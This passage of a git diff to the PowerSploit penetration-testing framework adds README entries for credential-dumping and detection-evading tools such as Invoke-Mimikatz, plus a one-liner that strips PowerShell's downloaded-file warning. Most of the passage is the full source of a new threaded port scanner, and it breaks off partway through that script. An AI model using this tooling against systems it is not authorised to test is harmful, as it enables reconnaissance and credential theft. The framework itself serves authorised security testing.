\ No newline at end of file +} diff --git a/Persistence/Persistence.psm1 b/Persistence/Persistence.psm1 index 4478ee1..04f36be 100644 --- a/Persistence/Persistence.psm1 +++ b/Persistence/Persistence.psm1 @@ -1,3 +1,3 @@ -. (Join-Path $PSScriptRoot New-ElevatedPersistenceOptions.ps1) +. (Join-Path $PSScriptRoot New-ElevatedPersistenceOptions.ps1) . (Join-Path $PSScriptRoot New-UserPersistenceOptions.ps1) -. (Join-Path $PSScriptRoot Add-Persistence.ps1)
\ No newline at end of file +. (Join-Path $PSScriptRoot Add-Persistence.ps1) diff --git a/PowerSploit.psd1 b/PowerSploit.psd1 index 8c7f939..049c491 100644 --- a/PowerSploit.psd1 +++ b/PowerSploit.psd1 @@ -1,4 +1,4 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'PowerSploit.psm1' @@ -79,6 +79,7 @@ ModuleList = @( @{ModuleName = 'PowerSploit'; ModuleVersion = '1.0.0.0'; GUID = @{ModuleName = 'ReverseEngineering'; ModuleVersion = '1.0.0.0'; GUID = 'cbffaf47-c55a-4901-92e7-8d794fbe1fff'}, @{ModuleName = 'ScriptModification'; ModuleVersion = '1.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'}, @{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'} + @{ModuleName = 'Capstone'; ModuleVersion = '1.0.0.0'; GUID = 'bc335667-02fd-46c4-a3d9-0a5113c9c03b'} ) # List of all files packaged with this module @@ -93,4 +94,4 @@ FileList = 'PowerSploit.psd1', 'PowerSploit.psm1' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' -}
\ No newline at end of file +} diff --git a/PowerSploit.psm1 b/PowerSploit.psm1 index 430c1b8..550b8be 100644 --- a/PowerSploit.psm1 +++ b/PowerSploit.psm1 @@ -1 +1 @@ -Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer } | % { Import-Module $_.FullName }
\ No newline at end of file +Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer } | % { Import-Module $_.FullName -DisableNameChecking } @@ -68,14 +68,26 @@ Add persistence capabilities to a script. An in-memory and on-disk PE parsing utility. -#### `Get-PEArchitecture` +#### `Get-ObjDump` -Returns the architecture for which an executable was compiled. +Displays information about one or more Windows object files. + +#### `Get-LibSymbols` + +Displays symbolic information from Windows lib files. #### `Get-DllLoadPath` Returns the path from which Windows will load a Dll for the given executable. +## Capstone + +**A PowerShell binding for the Capstone Engine disassembly framework.** + +#### `Get-CSDisassembly` + +Disassembles a byte array using the Capstone Engine disassembly framework. + ## ReverseEngineering **Tools to aid in reverse engineering.** @@ -116,6 +128,18 @@ Converts the bytes of a file to a string that has a 1-to-1 mapping back to the f Get the unmanaged function address of a .NET method. +#### `Register-ProcessModuleTrace` + +Starts a trace of loaded process modules + +#### `Get-ProcessModuleTrace` + +Displays the process modules that have been loaded since the call to Register-ProcessModuleTrace + +#### `Unregister-ProcessModuleTrace` + +Stops the running process module trace + ## AntivirusBypass **AV doesn't stand a chance against PowerShell!** @@ -128,6 +152,22 @@ Locates single Byte AV signatures utilizing the same method as DSplit from "clas **All your data belong to me!** +#### `Invoke-TokenManipulation` + +Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread. + +#### `Inject-LogonCredentials` + +Create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon). + +#### `Invoke-NinjaCopy` + +Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. + +#### `Invoke-Mimikatz` + +Reflectively loads Mimikatz 1.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz. + #### `Get-Keystrokes` Logs keys pressed, time and the active window. @@ -148,6 +188,10 @@ Generates a full-memory minidump of a process. **Tools to aid in the reconnaissance phase of a penetration test.** +#### `Invoke-Portscan` + +Does a simple port scan using regular sockets, based (pretty) loosely on nmap. + #### `Get-HttpStatus` Returns the HTTP Status Codes and full URL for specified paths when provided with a dictionary file. @@ -166,7 +210,7 @@ Scans an IP address range for DNS PTR records. This script is useful for perform ## License -The PowerSploit project and all individual scripts are under the [BSD 3-Clause license](https://raw.github.com/mattifestation/PowerSploit/master/LICENSE). +The PowerSploit project and all individual scripts are under the [BSD 3-Clause license](https://raw.github.com/mattifestation/PowerSploit/master/LICENSE) unless explicitly noted otherwise. ## Usage @@ -181,6 +225,11 @@ To use the module, type `Import-Module PowerSploit` To see the commands imported, type `Get-Command -Module PowerSploit` +If you're running PowerShell v3 and you want to remove the annoying 'Do you really want to run scripts downloaded from the Internet' warning, once you've placed PowerSploit into your module path, run the following one-liner: +`$Env:PSModulePath.Split(';') | + % { if ( Test-Path (Join-Path $_ PowerSploit) ) + {Get-ChildItem -Recurse | Unblock-File} }` + For help on each individual command, Get-Help is your friend. Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. @@ -195,7 +244,7 @@ Note: The tools contained within this module were all designed such that they ca * If you want to display relevant debugging information to the screen, use Write-Verbose. The user can always just tack on '-Verbose'. -* Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license. +* Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license (unless there are extenuating circumstances that prevent the application of the BSD license). * Make sure all functions follow the proper PowerShell verb-noun agreement. Use Get-Verb to list the default verbs used by PowerShell. diff --git a/Recon/Get-HttpStatus.ps1 b/Recon/Get-HttpStatus.ps1 index fde3d26..8b60306 100644 --- a/Recon/Get-HttpStatus.ps1 +++ b/Recon/Get-HttpStatus.ps1 @@ -137,4 +137,4 @@ http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html Write-Output $ScanObject
}
-}
\ No newline at end of file +}
diff --git a/Recon/Invoke-Portscan.ps1 b/Recon/Invoke-Portscan.ps1 new file mode 100644 index 0000000..99bbb89 --- /dev/null +++ b/Recon/Invoke-Portscan.ps1 @@ -0,0 +1,1088 @@ +function Invoke-Portscan +{ +<# +.SYNOPSIS + +Simple portscan module + +PowerSploit Function: Invoke-Portscan +Author: Rich Lundeen (http://webstersProdigy.net) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Does a simple port scan using regular sockets, based (pretty) loosely on nmap + +.NOTES + +version .13 + +.PARAMETER Hosts + +Include these comma seperated hosts (supports IPv4 CIDR notation) or pipe them in + +.PARAMETER HostFile + +Input hosts from file rather than commandline + +.PARAMETER ExcludeHosts + +Exclude these comma seperated hosts + +.PARAMETER Ports + +Include these comma seperated ports (can also be a range like 80-90) + +.PARAMETER PortFile + +Input ports from a file + +.PARAMETER TopPorts + +Include the x top ports - only goes to 1000, default is top 50 + +.PARAMETER ExcludedPorts + +Exclude these comma seperated ports + +.PARAMETER SkipDiscovery + +Treat all hosts as online, skip host discovery + +.PARAMETER PingOnly + +Ping scan only (disable port scan) + +.PARAMETER DiscoveryPorts + +Comma separated ports used for host discovery. -1 is a ping + +.PARAMETER Threads + +number of max threads for the thread pool (per host) + +.PARAMETER nHosts + +number of hosts to concurrently scan + +.PARAMETER Timeout + +Timeout time on a connection in miliseconds before port is declared filtered + +.PARAMETER SleepTimer + +Wait before thread checking, in miliseconds + +.PARAMETER SyncFreq + +How often (in terms of hosts) to sync threads and flush output + +.PARAMETER T + +[0-5] shortcut performance options. Default is 3. higher is more aggressive. Sets (nhosts, threads,timeout) + 5 {$nHosts=30; $Threads = 1000; $Timeout = 750 } + 4 {$nHosts=25; $Threads = 1000; $Timeout = 1200 } + 3 {$nHosts=20; $Threads = 100; $Timeout = 2500 } + 2 {$nHosts=15; $Threads = 32; $Timeout = 3000 } + 1 {$nHosts=10; $Threads = 32; $Timeout = 5000 } + +.PARAMETER GrepOut + +Greppable output file + +.PARAMETER XmlOut + +output XML file + +.PARAMETER ReadableOut + +output file in 'readable' format + +.PARAMETER AllformatsOut + +output in readable (.nmap), xml (.xml), and greppable (.gnmap) formats + +.PARAMETER noProgressMeter + +Suppresses the progress meter + +.PARAMETER quiet + +supresses returned output and don't store hosts in memory - useful for very large scans + +.PARAMETER ForceOverwrite + +Force Overwrite if output Files exist. Otherwise it throws exception + +.EXAMPLE + +C:\PS> Invoke-Portscan -Hosts "webstersprodigy.net,google.com,microsoft.com" -TopPorts 50 + +Description +----------- +Scans the top 50 ports for hosts found for webstersprodigy.net,google.com, and microsoft.com + +.EXAMPLE + +C:\PS> echo webstersprodigy.net | Invoke-Portscan -oG test.gnmap -f -ports "80,443,8080" + +Description +----------- +Does a portscan of "webstersprodigy.net", and writes a greppable output file + +.EXAMPLE + +C:\PS> Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 25 -oA localnet + +Description +----------- +Scans the top 20 ports for hosts found in the 192.168.1.1/24 range, outputs all file formats + +.LINK + +http://webstersprodigy.net +#> + + [CmdletBinding()]Param ( + #Host, Ports + [Parameter(ParameterSetName="cmdHosts", + + ValueFromPipeline=$True, + Mandatory = $True)] + [String[]] $Hosts, + + [Parameter(ParameterSetName="fHosts", + Mandatory = $True)] + [Alias("iL")] + [String] $HostFile, + + [Parameter(Mandatory = $False)] + [Alias("exclude")] + [String] $ExcludeHosts, + + [Parameter(Mandatory = $False)] + [Alias("p")] + [String] $Ports, + + [Parameter(Mandatory = $False)] + [Alias("iP")] + [String] $PortFile, + + [Parameter(Mandatory = $False)] + [String] $TopPorts, + + [Parameter(Mandatory = $False)] + [Alias("xPorts")] + [String] $ExcludedPorts, + + #Host Discovery + [Parameter(Mandatory = $False)] + [Alias("Pn")] + [Switch] $SkipDiscovery, + + [Parameter(Mandatory = $False)] + [Alias("sn")] + [Switch] $PingOnly, + + [Parameter(Mandatory = $False)] + [Alias("PS")] + [string] $DiscoveryPorts = "-1,445,80,443", + + #Timing and Performance + [Parameter(Mandatory = $False)] + [int] $Threads = 100, + + [Parameter(Mandatory = $False)] + [int] $nHosts = 25, + + [Parameter(Mandatory = $False)] + [int] $Timeout = 2000, + + [Parameter(Mandatory = $False)] + [int] $SleepTimer = 500, + + [Parameter(Mandatory = $False)] + [int] $SyncFreq = 1024, + + [Parameter(Mandatory = $False)] + [int] $T, + + #Output + [Parameter(Mandatory = $False)] + [Alias("oG")] + [String] $GrepOut, + + [Parameter(Mandatory = $False)] + [Alias("oX")] + [String] $XmlOut, + + [Parameter(Mandatory = $False)] + [Alias("oN")] + [String] $ReadableOut, + + [Parameter(Mandatory = $False)] + [Alias("oA")] + [String] $AllformatsOut, + + [Parameter(Mandatory = $False)] + [Switch] $noProgressMeter, + + [Parameter(Mandatory = $False)] + [Alias("q")] + [Switch] $quiet, + + [Parameter(Mandatory = $False)] + [Alias("F")] + [Switch] $ForceOverwrite + + #TODO add script parameter + #TODO add resume parameter + ) + + PROCESS { + + Set-StrictMode -Version 2.0 + + $version = .13 + $hostList = New-Object System.Collections.ArrayList + $portList = New-Object System.Collections.ArrayList + $hostPortList = New-Object System.Collections.ArrayList + + $scannedHostList = @() + + function Parse-Hosts + { + Param ( + [Parameter(Mandatory = $True)] [String] $Hosts + ) + + [String[]] $iHosts = $Hosts.Split(",") + + foreach($iHost in $iHosts) + { + $iHost = $iHost.Replace(" ", "") + + if(!$iHost) + { + continue + } + + if($iHost.contains("/")) + { + $netPart = $iHost.split("/")[0] + [uint32]$maskPart = $iHost.split("/")[1] + + $address = [System.Net.IPAddress]::Parse($netPart) + + if ($maskPart -ge $address.GetAddressBytes().Length * 8) + { + throw "Bad host mask" + } + + $numhosts = [System.math]::Pow(2,(($address.GetAddressBytes().Length *8) - $maskPart)) + + $startaddress = $address.GetAddressBytes() + [array]::Reverse($startaddress) + + $startaddress = [System.BitConverter]::ToUInt32($startaddress, 0) + [uint32]$startMask = ([System.math]::Pow(2, $maskPart)-1) * ([System.Math]::Pow(2,(32 - $maskPart))) + $startAddress = $startAddress -band $startMask + + #in powershell 2.0 there are 4 0 bytes padded, so the [0..3] is necessary + $startAddress = [System.BitConverter]::GetBytes($startaddress)[0..3] + [array]::Reverse($startaddress) + + $address = [System.Net.IPAddress] [byte[]] $startAddress + + $hostList.Add($address.IPAddressToString) + + for ($i=0; $i -lt $numhosts-1; $i++) + { + + $nextAddress = $address.GetAddressBytes() + [array]::Reverse($nextAddress) + $nextAddress = [System.BitConverter]::ToUInt32($nextAddress, 0) + $nextAddress ++ + $nextAddress = [System.BitConverter]::GetBytes($nextAddress)[0..3] + [array]::Reverse($nextAddress) + + $address = [System.Net.IPAddress] [byte[]] $nextAddress + $hostList.Add($address.IPAddressToString) + + } + + } + else + { + $hostList.Add($iHost) + } + } + } + + function Parse-ILHosts + { + Param ( + [Parameter(Mandatory = $True)] [String] $HostFile + ) + + Get-Content $HostFile | ForEach-Object { + Parse-Hosts $_ + } + } + + function Exclude-Hosts + { + Param ( + [Parameter(Mandatory = $True)] [String] $excludeHosts + ) + + [String[]] $iHosts = $excludeHosts.Split(",") + + foreach($iHost in $iHosts) + { + $iHost = $iHost.Replace(" ", "") + $hostList.Remove($iHost) + } + } + + function Get-TopPort + { + Param ( + [Parameter(Mandatory = $True)] + [ValidateRange(1,1000)] + [int] $numPorts + ) + + #list of top 1000 ports from nmap from Jun 2013 + [int[]] $topPortList = @(80,23,443,21,3389,110,445,139,143,53,135,3306,8080,22 + 1723,111,995,993,5900,1025,1720,548,113,81,6001,179,1026,2000,8443, + 8000,32768,554,26,1433,49152,2001,515,8008,49154,1027,5666,646,5000, + 5631,631,49153,8081,2049,88,79,5800,106,2121,1110,49155,6000,513, + 990,5357,49156,543,544,5101,144,7,389,8009,9999,5009,7070,5190,3000, + 5432,1900,3986,13,1029,9,5051,6646,49157,1028,873,1755,2717,4899,9100, + 119,37,1000,3001,5001,82,10010,1030,9090,2107,1024,2103,6004,1801, + 5050,19,8031,1041,255,1048,1049,1053,1054,1056,1064,3703,17,808,3689, + 1031,1044,1071,5901,100,9102,2869,4001,5120,8010,9000,2105,636,1038, + 2601,1,7000,1066,1069,625,311,280,254,4000,1761,5003,2002,1998,2005, + 1032,1050,6112,1521,2161,6002,2401,902,4045,787,7937,1058,2383,1033, + 1040,1059,50000,5555,1494,3,593,2301,3268,7938,1022,1234,1035,1036,1037, + 1074,8002,9001,464,497,1935,2003,6666,6543,24,1352,3269,1111,407,500, + 20,2006,1034,1218,3260,15000,4444,264,33,2004,1042,42510,999,3052,1023, + 222,1068,888,7100,1717,992,2008,7001,2007,8082,512,1043,2009,5801,1700, + 7019,50001,4662,2065,42,2602,3333,9535,5100,2604,4002,5002,1047,1051,1052, + 1055,1060,1062,1311,3283,4443,5225,5226,6059,6789,8089,8651,8652,8701,9415, + 9593,9594,9595,16992,16993,20828,23502,32769,33354,35500,52869,55555,55600, + 64623,64680,65000,65389,1067,13782,366,5902,9050,85,1002,5500,1863,1864, + 5431,8085,10243,45100,49999,51103,49,90,6667,1503,6881,27000,340,1500,8021, + 2222,5566,8088,8899,9071,5102,6005,9101,163,5679,146,648,1666,83,3476,5004, + 5214,8001,8083,8084,9207,14238,30,912,12345,2030,2605,6,541,4,1248,3005,8007, + 306,880,2500,1086,1088,2525,4242,8291,9009,52822,900,6101,2809,7200,211,800, + 987,1083,12000,705,711,20005,6969,13783,1045,1046,1061,1063,1070,1072,1073, + 1075,1077,1078,1079,1081,1082,1085,1093,1094,1096,1098,1099,1100,1104,1106, + 1107,1108,1148,1169,1272,1310,1687,1718,1783,1840,2100,2119,2135,2144,2160, + 2190,2260,2381,2399,2492,2607,2718,2811,2875,3017,3031,3071,3211,3300,3301, + 3323,3325,3351,3404,3551,3580,3659,3766,3784,3801,3827,3998,4003,4126,4129, + 4449,5222,5269,5633,5718,5810,5825,5877,5910,5911,5925,5959,5960,5961,5962, + 5987,5988,5989,6123,6129,6156,6389,6580,6901,7106,7625,7777,7778,7911,8086, + 8181,8222,8333,8400,8402,8600,8649,8873,8994,9002,9011,9080,9220,9290,9485, + 9500,9502,9503,9618,9900,9968,10002,10012,10024,10025,10566,10616,10617,10621, + 10626,10628,10629,11110,13456,14442,15002,15003,15660,16001,16016,16018,17988, + 19101,19801,19842,20000,20031,20221,20222,21571,22939,24800,25734,27715,28201, + 30000,30718,31038,32781,32782,33899,34571,34572,34573,40193,48080,49158,49159, + 49160,50003,50006,50800,57294,58080,60020,63331,65129,691,212,1001,1999,2020, + 2998,6003,7002,50002,32,2033,3372,99,425,749,5903,43,458,5405,6106,6502,7007, + 13722,1087,1089,1124,1152,1183,1186,1247,1296,1334,1580,1782,2126,2179,2191,2251, + 2522,3011,3030,3077,3261,3493,3546,3737,3828,3871,3880,3918,3995,4006,4111,4446, + 5054,5200,5280,5298,5822,5859,5904,5915,5922,5963,7103,7402,7435,7443,7512,8011, + 8090,8100,8180,8254,8500,8654,9091,9110,9666,9877,9943,9944,9998,10004,10778,15742, + 16012,18988,19283,19315,19780,24444,27352,27353,27355,32784,49163,49165,49175, + 50389,50636,51493,55055,56738,61532,61900,62078,1021,9040,666,700,84,545,1112, + 1524,2040,4321,5802,38292,49400,1084,1600,2048,2111,3006,6547,6699,9111,16080, + 555,667,720,801,1443,1533,2106,5560,6007,1090,1091,1114,1117,1119,1122,1131,1138, + 1151,1175,1199,1201,1271,1862,2323,2393,2394,2608,2725,2909,3003,3168,3221,3322, + 3324,3390,3517,3527,3800,3809,3814,3826,3869,3878,3889,3905,3914,3920,3945,3971, + 4004,4005,4279,4445,4550,4567,4848,4900,5033,5080,5087,5221,5440,5544,5678,5730, + 5811,5815,5850,5862,5906,5907,5950,5952,6025,6510,6565,6567,6689,6692,6779,6792, + 6839,7025,7496,7676,7800,7920,7921,7999,8022,8042,8045,8093,8099,8200,8290,8292, + 8300,8383,9003,9081,9099,9200,9418,9575,9878,9898,9917,10003,10180,10215,11111, + 12174,12265,14441,15004,16000,16113,17877,18040,18101,19350,25735,26214,27356, + 30951,32783,32785,40911,41511,44176,44501,49161,49167,49176,50300,50500,52673, + 52848,54045,54328,55056,56737,57797,60443,70,417,714,722,777,981,1009,2022,4224, + 4998,6346,301,524,668,765,2041,5999,10082,259,1007,1417,1434,1984,2038,2068,4343, + 6009,7004,44443,109,687,726,911,1461,2035,4125,6006,7201,9103,125,481,683,903, + 1011,1455,2013,2043,2047,6668,6669,256,406,843,2042,2045,5998,9929,31337,44442, + 1092,1095,1102,1105,1113,1121,1123,1126,1130,1132,1137,1141,1145,1147,1149,1154, + 1164,1165,1166,1174,1185,1187,1192,1198,1213,1216,1217,1233,1236,1244,1259,1277, + 1287,1300,1301,1309,1322,1328,1556,1641,1688,1719,1721,1805,1812,1839,1875,1914, + 1971,1972,1974,2099,2170,2196,2200,2288,2366,2382,2557,2800,2910,2920,2968,3007, + 3013,3050,3119,3304,3307,3376,3400,3410,3514,3684,3697,3700,3824,3846,3848,3859, + 3863,3870,3872,3888,3907,3916,3931,3941,3957,3963,3968,3969,3972,3990,3993,3994, + 4009,4040,4080,4096,4143,4147,4200,4252,4430,4555,4600,4658,4875,4949,5040,5063, + 5074,5151,5212,5223,5242,5279,5339,5353,5501,5807,5812,5818,5823,5868,5869,5899, + 5905,5909,5914,5918,5938,5940,5968,5981,6051,6060,6068,6203,6247,6500,6504,6520, + 6550,6600) + $numPorts-- + $portList.AddRange($topPortList[0..$numPorts]) + } + + function Parse-Ports + { + Param ( + [Parameter(Mandatory = $True)] [String] $Ports, + [Parameter(Mandatory = $True)] $pList + ) + + foreach ($pRange in $Ports.Split(",")) + { + + #-1 is a special case for ping + if ($pRange -eq "-1") + { + $pList.Add([int]$pRange) + } + elseif ($pRange.Contains("-")) + { + [int[]] $range = $pRange.Split("-") + if ($range.Count -ne 2 -or $pRange.Split("-")[0] -eq "" -or $pRange.split("-")[1] -eq "") + { + throw "Invalid port range" + } + + $pList.AddRange($range[0]..$range[1]) + } + else + { + $pList.Add([int]$pRange) + } + + } + foreach ($p in $pList) + { + if ($p -lt -1 -or $p -gt 65535) + { + throw "Port $p out of range" + } + } + } + + function Parse-IpPorts + { + Param ( + [Parameter(Mandatory = $True)] [String] $PortFile + ) + + Get-Content $PortFile | ForEach-Object { + Parse-Ports -Ports $_ -pList $portList + } + } + + function Remove-Ports + { + Param ( + [Parameter(Mandatory = $True)] [string] $ExcludedPorts + ) + + [int[]] $ExcludedPorts = $ExcludedPorts.Split(",") + + foreach ($x in $ExcludedPorts) + { + $portList.Remove($x) + } + } + + function Write-PortscanOut + { + Param ( + [Parameter(Mandatory = $True, ParameterSetName="Comment")] [string] $comment, + [Parameter(Mandatory = $True, ParameterSetName="HostOut")] [string] $outhost, + [Parameter(Mandatory = $True, ParameterSetName="HostOut")] [bool] $isUp, + [Parameter(Mandatory = $True, ParameterSetName="HostOut")] $openPorts, + [Parameter(Mandatory = $True, ParameterSetName="HostOut")] $closedPorts, + [Parameter(Mandatory = $True, ParameterSetName="HostOut")] $filteredPorts, + [Parameter()] [bool] $SkipDiscovery, + [Parameter()] [System.IO.StreamWriter] $grepStream, + [Parameter()] [System.Xml.XmlWriter] $xmlStream, + [Parameter()] [System.IO.StreamWriter] $readableStream + + ) + switch ($PSCmdlet.ParameterSetName) + { + "Comment" + { + + Write-Verbose $comment + + if ($grepStream) { + $grepStream.WriteLine("# " + $comment) + } + if ($xmlStream) { + $xmlStream.WriteComment($comment) + } + if ($readableStream) { + $readableStream.WriteLine($comment) + } + } + "HostOut" + { + $oPort = [string]::join(",", $openPorts.ToArray()) + $cPort = [string]::join(",", $closedPorts.ToArray()) + $fPort = [string]::join(",", $filteredPorts.ToArray()) + + if ($grepStream) { + #for grepstream use tabs - can be ugly, but easier for regex + if ($isUp -and !$SkipDiscovery) { + $grepStream.writeline("Host: $outhost`tStatus: Up") + } + if ($isUp -or $SkipDiscovery) { + if ($oPort -ne "") { + $grepStream.writeline("Host: $outhost`tOpen Ports: $oPort") + } + if ($cPort -ne "") { + $grepStream.writeline("Host: $outhost`tClosed Ports: $cPort") + } + if ($fPort -ne "") { + $grepStream.writeline("Host: $outhost`tFiltered Ports: $fPort") + } + } + elseif (!$SkipDiscovery) { + $grepStream.writeline("Host: $outhost`tStatus: Down") + } + } + if ($xmlStream) { + $xmlStream.WriteStartElement("Host") + + $xmlStream.WriteAttributeString("id", $outhost) + if (!$SkipDiscovery) { + if ($isUp) { + $xmlStream.WriteAttributeString("Status", "Up") + } + else { + $xmlStream.WriteAttributeString("Status", "Downs") + } + } + + $xmlStream.WriteStartElement("Ports") + foreach($p in $openPorts) { + $xmlStream.writestartElement("Port") + $xmlStream.WriteAttributeString("id", [string]$p) + $xmlStream.WriteAttributeString("state", "open") + $xmlStream.WriteEndElement() + + } + foreach ($p in $closedPorts) { + $xmlStream.writestartElement("Port") + $xmlStream.WriteAttributeString("id", [string]$p) + $xmlStream.WriteAttributeString("state", "closed") + $xmlStream.WriteEndElement() + } + foreach ($p in $filteredPorts) { + $xmlStream.writestartElement("Port") + $xmlStream.WriteAttributeString("id", [string]$p) + $xmlStream.WriteAttributeString("state", "filtered") + $xmlStream.WriteEndElement() + } + + $xmlStream.WriteEndElement() + $xmlStream.WriteEndElement() + } + if ($readableStream) { + $readableStream.writeline("Porscan.ps1 scan report for $outhost") + if ($isUp) { + $readableStream.writeline("Host is up") + } + + if ($isUp -or $SkipDiscovery) { + + $readableStream.writeline(("{0,-10}{1,0}" -f "PORT", "STATE")) + + [int[]]$allports = $openPorts + $closedPorts + $filteredPorts + foreach($p in ($allports| Sort-Object)) + { + if ($openPorts.Contains($p)) { + $readableStream.writeline(("{0,-10}{1,0}" -f $p, "open")) + } + elseif ($closedPorts.Contains($p)) { + $readableStream.writeline(("{0,-10}{1,0}" -f $p, "closed")) + } + elseif ($filteredPorts.Contains($p)) { + $readableStream.writeline(("{0,-10}{1,0}" -f $p, "filtered")) + } + } + + } + elseif(!$SkipDiscovery) { + $readableStream.writeline("Host is Down") + } + $readableStream.writeline("") + } + } + } + } + + #function for Powershell v2.0 to work + function Convert-SwitchtoBool + { + Param ( + [Parameter(Mandatory = $True)] $switchValue + ) + If ($switchValue) { + return $True + } + return $False + } + + try + { + + [bool] $SkipDiscovery = Convert-SwitchtoBool ($SkipDiscovery) + [bool] $PingOnly = Convert-SwitchtoBool ($PingOnly) + [bool] $quiet = Convert-SwitchtoBool ($quiet) + [bool] $ForceOverwrite = Convert-SwitchtoBool ($ForceOverwrite) + + ######### + #parse arguments + ######### + + [Environment]::CurrentDirectory=(Get-Location -PSProvider FileSystem).ProviderPath + + if ($PsCmdlet.ParameterSetName -eq "cmdHosts") + { + foreach($h in $Hosts) + { + Parse-Hosts($h) | Out-Null + } + } + else + { + Parse-ILHosts($HostFile) | Out-Null + } + if($ExcludeHosts) + { + Exclude-Hosts($ExcludeHosts) + } + if (($TopPorts -and $Ports) -or ($TopPorts -and $PortFile)) + { + throw "Cannot set topPorts with other specific ports" + } + if($Ports) + { + Parse-Ports -Ports $Ports -pList $portList | Out-Null + } + if($PortFile) + { + Parse-IpPorts($PortFile) | Out-Null + } + if($portList.Count -eq 0) + { + if ($TopPorts) + { + Get-TopPort($TopPorts) | Out-Null + } + else + { + #if the ports still aren't set, give the deftault, top 50 ports + Get-TopPort(50) | Out-Null + } + } + if ($ExcludedPorts) + { + Remove-Ports -ExcludedPorts $ExcludedPorts | Out-Null + } + + if($T) + { + switch ($T) + { + 5 {$nHosts=30; $Threads = 1000; $Timeout = 750 } + 4 {$nHosts=25; $Threads = 1000; $Timeout = 1200 } + 3 {$nHosts=20; $Threads = 100; $Timeout = 2500 } + 2 {$nHosts=15; $Threads = 32; $Timeout = 3000 } + 1 {$nHosts=10; $Threads = 32; $Timeout = 5000 } + default { + throw "Invalid T parameter" + } + } + } + + $grepStream = $null + $xmlStream = $null + $readableStream = $null + + if($AllformatsOut) + { + if ($GrepOut -or $XmlOut -or $ReadableOut) { + Write-Warning "Both -oA specified with other output... going to ignore -oG/-oN/-oX" + } + $GrepOut = $AllformatsOut + ".gnmap" + $XmlOut = $AllformatsOut + ".xml" + $ReadableOut = $AllformatsOut + ".nmap" + } + if ($GrepOut) { + if (!$ForceOverwrite -and (Test-Path $GrepOut)) { + throw "Error: $AllformatsOut already exists. Either delete the file or specify the -f flag" + } + $grepStream = [System.IO.StreamWriter] $GrepOut + } + if ($ReadableOut) { + if (!$ForceOverwrite -and (Test-Path $ReadableOut)) { + throw "Error: $ReadableOut already exists. Either delete the file or specify the -f flag" + } + $readableStream = [System.IO.StreamWriter] $ReadableOut + } + if ($XmlOut) { + if (!$ForceOverwrite -and (Test-Path $XmlOut)) { + throw "Error: $XmlOut already exists. Either delete the file or specify the -f flag" + } + + $xmlStream = [System.xml.xmlwriter]::Create([string]$XmlOut) + $xmlStream.WriteStartDocument() + $xmlStream.WriteStartElement("Portscanrun") + $xmlStream.WriteAttributeString("version", $version) + + } + + Parse-Ports -Ports $DiscoveryPorts -pList $hostPortList | Out-Null + + $startdate = Get-Date + $myInvocationLine = $PSCmdlet.MyInvocation.Line + $startMsg = "Invoke-Portscan.ps1 v$version scan initiated $startdate as: $myInvocationLine" + + #TODO deal with output + Write-PortscanOut -comment $startMsg -grepStream $grepStream -xmlStream $xmlStream -readableStream $readableStream + + #converting back from int array gives some argument error checking + $sPortList = [string]::join(",", $portList) + $sHostPortList = [string]::join(",", $hostPortList) + + ######## + #Port Scan Code - run on a per host basis + ######## + $portScanCode = { + param ( + [Parameter( Mandatory = $True)] [string] $thost, + [Parameter( Mandatory = $True)][bool] $SkipDiscovery, + [Parameter( Mandatory = $True)][bool] $PingOnly, + [Parameter( Mandatory = $True)][int] $Timeout, + [Parameter( Mandatory = $True)] $PortList, + [Parameter( Mandatory = $True)] $hostPortList, + [Parameter( Mandatory = $True)][int] $maxthreads) + Process + { + $openPorts = New-Object System.Collections.ArrayList + $closedPorts = New-Object System.Collections.ArrayList + $filteredPorts = New-Object System.Collections.ArrayList + + $sockets = @{} + $timeouts = New-Object Hashtable + + #set maximum $async threads + $fThreads = New-Object int + $aThreads = New-Object int + [System.Threading.ThreadPool]::GetMaxThreads([ref]$fThreads, [ref]$aThreads) | Out-Null + [System.Threading.ThreadPool]::SetMaxThreads($fthreads,$maxthreads) | Out-Null + + function New-ScriptBlockCallback { + param( + [parameter(Mandatory=$true)] + [ValidateNotNullOrEmpty()] + [scriptblock]$Callback + ) + + #taken from http://www.nivot.org/blog/post/2009/10/09/PowerShell20AsynchronousCallbacksFromNET + if (-not ("CallbackEventBridge" -as [type])) { + Add-Type @" + using System; + + public sealed class CallbackEventBridge + { + public event AsyncCallback CallbackComplete = delegate { }; + + private CallbackEventBridge() {} + + private void CallbackInternal(IAsyncResult result) + { + CallbackComplete(result); + } + + public AsyncCallback Callback + { + get { return new AsyncCallback(CallbackInternal); } + } + + public static CallbackEventBridge Create() + { + return new CallbackEventBridge(); + } + } +"@ + } + + $bridge = [CallbackEventBridge]::Create() + Register-ObjectEvent -InputObject $bridge -EventName CallbackComplete -Action $Callback | Out-Null + + $bridge.Callback + + } + + function Test-Port { + + Param ( + [Parameter(Mandatory = $True)] [String] $h, + [Parameter(Mandatory = $True)] [int] $p, + [Parameter(Mandatory = $True)] [int] $timeout + ) + + try { + $pAddress = [System.Net.IPAddress]::Parse($h) + $sockets[$p] = new-object System.Net.Sockets.TcpClient $pAddress.AddressFamily + + } + catch { + #we're assuming this is a host name + $sockets[$p] = new-object System.Net.Sockets.TcpClient + } + + + $scriptBlockAsString = @" + + #somewhat of a race condition with the timeout, but I don't think it matters + if ( `$sockets[$p] -ne `$NULL) + { + if (!`$timeouts[$p].Disposed) { + `$timeouts[$p].Dispose() + } + + `$status = `$sockets[$p].Connected; + if (`$status -eq `$True) + { + #write-host "$p is open" + 